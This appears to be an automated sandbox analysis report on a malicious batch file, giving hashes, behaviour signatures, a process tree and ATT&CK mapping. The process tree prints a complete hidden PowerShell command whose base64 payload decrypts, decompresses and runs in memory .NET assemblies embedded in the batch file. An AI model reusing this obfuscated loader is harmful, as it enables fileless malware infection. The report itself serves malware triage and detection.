982aeaa82e848b3fa908569d594c3c683e010853aabf0b774cd017cd78f452f2

General

Target

BHmguu3.bat
Size

61KB
MD5

17593ee6efc7b77ce313f3ad23119366
SHA1

fb978403970c1022813e2a525b02c21e67bbfd47
SHA256

982aeaa82e848b3fa908569d594c3c683e010853aabf0b774cd017cd78f452f2
SHA512

ad64b462ae4b3dc3b97cc746fa4689c26020d9d7695f6741df08728dbaa207ca781e5cb9bf6457d5dbe726251c1be3ddac6720432f6d55d94644d8741bfdf85f
SSDEEP

1536:lBV+YMcw68L9UOCl0UV7foh8KbZkbmEKUgXEXzICKUnF7:lBV+YM8+9FUdohgHfB

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2520	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2520	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2520	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2564 wrote to memory of 1880	2564	cmd.exe	31
PID 2564 wrote to memory of 1880	2564	cmd.exe	31
PID 2564 wrote to memory of 1880	2564	cmd.exe	31
PID 1880 wrote to memory of 2520	1880	cmd.exe	34
PID 1880 wrote to memory of 2520	1880	cmd.exe	34
PID 1880 wrote to memory of 2520	1880	cmd.exe	34

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\BHmguu3.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2564
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\BHmguu3.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1880
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('JHVzZXJOYW1lID0gJGVudjpVU0VSTkFNRTskbGlxZnEgPSAiQzpcVXNlcnNcJHVzZXJOYW1lXGR3bS5iYXQiO2lmIChUZXN0LVBhdGggJGxpcWZxKSB7ICAgIFdyaXRlLUhvc3QgIkJhdGNoIGZpbGUgZm91bmQ6ICRsaXFmcSIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAkZmlsZUxpbmVzID0gW1N5c3RlbS5JTy5GaWxlXTo6UmVhZEFsbExpbmVzKCRsaXFmcSwgW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOCk7ICAgIGZvcmVhY2ggKCRsaW5lIGluICRmaWxlTGluZXMpIHsgICAgICAgIGlmICgkbGluZSAtbWF0Y2ggJ146OjogPyguKykkJykgeyAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRldGVjdGVkIGluIHRoZSBiYXRjaCBmaWxlLiIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAgICAgICAgIHRyeSB7ICAgICAgICAgICAgICAgICRkZWNvZGVkQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRtYXRjaGVzWzFdLlRyaW0oKSk7ICAgICAgICAgICAgICAgICRpbmplY3Rpb25Db2RlID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRTdHJpbmcoJGRlY29kZWRCeXRlcyk7ICAgICAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRlY29kZWQgc3VjY2Vzc2Z1bGx5LiIgLUZvcmVncm91bmRDb2xvciBHcmVlbjsgICAgICAgICAgICAgICAgV3JpdGUtSG9zdCAiRXhlY3V0aW5nIGluamVjdGlvbiBjb2RlLi4uIiAtRm9yZWdyb3VuZENvbG9yIFllbGxvdzsgICAgICAgICAgICAgICAgSW52b2tlLUV4cHJlc3Npb24gJGluamVjdGlvbkNvZGU7ICAgICAgICAgICAgICAgIGJyZWFrOyAgICAgICAgICAgIH0gY2F0Y2ggeyAgICAgICAgICAgICAgICBXcml0ZS1Ib3N0ICJFcnJvciBkdXJpbmcgZGVjb2Rpbmcgb3IgZXhlY3V0aW5nIGluamVjdGlvbiBjb2RlOiAkXyIgLUZvcmVncm91bmRDb2xvciBSZWQ7ICAgICAgICAgICAgfTsgICAgICAgIH07ICAgIH07fSBlbHNlIHsgICAgICBXcml0ZS1Ib3N0ICJTeXN0ZW0gRXJyb3I6IEJhdGNoIGZpbGUgbm90IGZvdW5kOiAkbGlxZnEiIC1Gb3JlZ3JvdW5kQ29sb3IgUmVkOyAgICBleGl0O307ZnVuY3Rpb24gcW1ia3goJHBhcmFtX3Zhcil7CSRhZXNfdmFyPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkFlc106OkNyZWF0ZSgpOwkkYWVzX3Zhci5Nb2RlPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkNpcGhlck1vZGVdOjpDQkM7CSRhZXNfdmFyLlBhZGRpbmc9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUGFkZGluZ01vZGVdOjpQS0NTNzsJJGFlc192YXIuS2V5PVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ3p4OXNYRzY1eVhWTzRqR1p3Z25tc1hmaHpWZjUzNEZsem1xTURXcWFVNTQ9Jyk7CSRhZXNfdmFyLklWPVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ0JCUmYrNXNUazVPNzROZTVCWStITWc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gcHRqeGQoJHBhcmFtX3Zhcil7CSRla3F1Yz1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW0oLCRwYXJhbV92YXIpOwkkd3prcHQ9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtOwkkdGZndWs9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ29tcHJlc3Npb24uR1ppcFN0cmVhbSgkZWtxdWMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsJJHRmZ3VrLkNvcHlUbygkd3prcHQpOwkkdGZndWsuRGlzcG9zZSgpOwkkZWtxdWMuRGlzcG9zZSgpOwkkd3prcHQuRGlzcG9zZSgpOwkkd3prcHQuVG9BcnJheSgpO31mdW5jdGlvbiB0dGx3ZygkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJJGllcGR1PVtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OignZGFvTCdbLTEuLi00XSAtam9pbiAnJykoW2J5dGVbXV0kcGFyYW1fdmFyKTsJJG5zaWlmPSRpZXBkdS5FbnRyeVBvaW50OwkkbnNpaWYuSW52b2tlKCRudWxsLCAkcGFyYW0yX3Zhcik7fSRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJGxpcWZxOyRkZnRvcz1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJGxpcWZxKS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkaW5vIGluICRkZnRvcykgewlpZiAoJGluby5TdGFydHNXaXRoKCc6OiAnKSkJewkJJGdqcnhiPSRpbm8uU3Vic3RyaW5nKDMpOwkJYnJlYWs7CX19JGFqdGVkPVtzdHJpbmdbXV0kZ2pyeGIuU3BsaXQoJ1wnKTskZ2ZsYW89cHRqeGQgKHFtYmt4IChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGFqdGVkWzBdKSkpOyRnb3h0az1wdGp4ZCAocW1ia3ggKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkYWp0ZWRbMV0pKSk7dHRsd2cgJGdmbGFvICRudWxsO3R0bHdnICRnb3h0ayAoLFtzdHJpbmdbXV0gKCclKicpKTs=')) | Invoke-Expression"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2520

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2520-6-0x000007FEF60CE000-0x000007FEF60CF000-memory.dmp

Filesize
4KB

Download
memory/2520-7-0x000000001B530000-0x000000001B812000-memory.dmp

Filesize
2.9MB

Download
memory/2520-8-0x000007FEF5E10000-0x000007FEF67AD000-memory.dmp

Filesize
9.6MB

Download
memory/2520-12-0x000007FEF5E10000-0x000007FEF67AD000-memory.dmp

Filesize
9.6MB

Download
memory/2520-11-0x000007FEF5E10000-0x000007FEF67AD000-memory.dmp

Filesize
9.6MB

Download
memory/2520-10-0x000007FEF5E10000-0x000007FEF67AD000-memory.dmp

Filesize
9.6MB

Download
memory/2520-9-0x0000000002810000-0x0000000002818000-memory.dmp

Filesize
32KB

Download
memory/2520-13-0x000007FEF5E10000-0x000007FEF67AD000-memory.dmp

Filesize
9.6MB

Download
memory/2520-14-0x000007FEF5E10000-0x000007FEF67AD000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing